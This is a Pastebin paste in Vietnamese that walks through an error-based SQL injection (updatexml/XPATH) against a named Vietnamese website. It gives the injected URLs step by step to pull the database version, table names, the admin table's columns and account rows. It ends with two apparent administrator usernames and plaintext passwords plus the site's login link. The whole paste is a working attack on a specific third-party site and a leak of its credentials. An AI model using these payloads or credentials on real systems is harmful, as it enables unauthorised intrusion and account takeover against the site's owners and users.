Advertisement
hqlan1928

Khai thác SQLi dạng XPATH

Dec 16th, 2013
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.17 KB | None | 0 0
  1. Khai thác SQLi dạng XPATH
  2.  
  3. Get version(), database(), user():
  4.  
  5. http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,version(),0x7c,database(), 0x7c,user()),0)-- -
  6.  
  7. XPATH syntax error: '|5.6.13-log|admin_coex|coex@loca'
  8.  
  9. Get Table:
  10.  
  11. http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(0x7c,table_name) from information_schema.tables WHERE table_schema=database() limit 0,1)),0)-- -
  12.  
  13. Tăng Limit lên dần để get table cần tìm.
  14. ==> admin, admin_rights, admintype
  15.  
  16. Get Column:
  17.  
  18. http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(0x7c,column_name) from information_schema.columns WHERE table_name=0x61646d696e limit 0,1)),0)--
  19.  
  20. Tăng Limit lên dần để get column cần tìm.
  21. ==> id, idtype, firstname, astname, email, password, status
  22.  
  23. Get tài khoản:
  24.  
  25. http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(email,0x7c,password) from admin limit 0,1)),0)-- -
  26.  
  27. ------------------------------------------
  28. ID: admin
  29. Pass: mediamart
  30.  
  31. ID: cuonglv
  32. Pass: levancuong
  33.  
  34. Link login: http://coex.com.vn/login.php
  35.  
  36. Checked By Quý Chủ Tịch !!!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement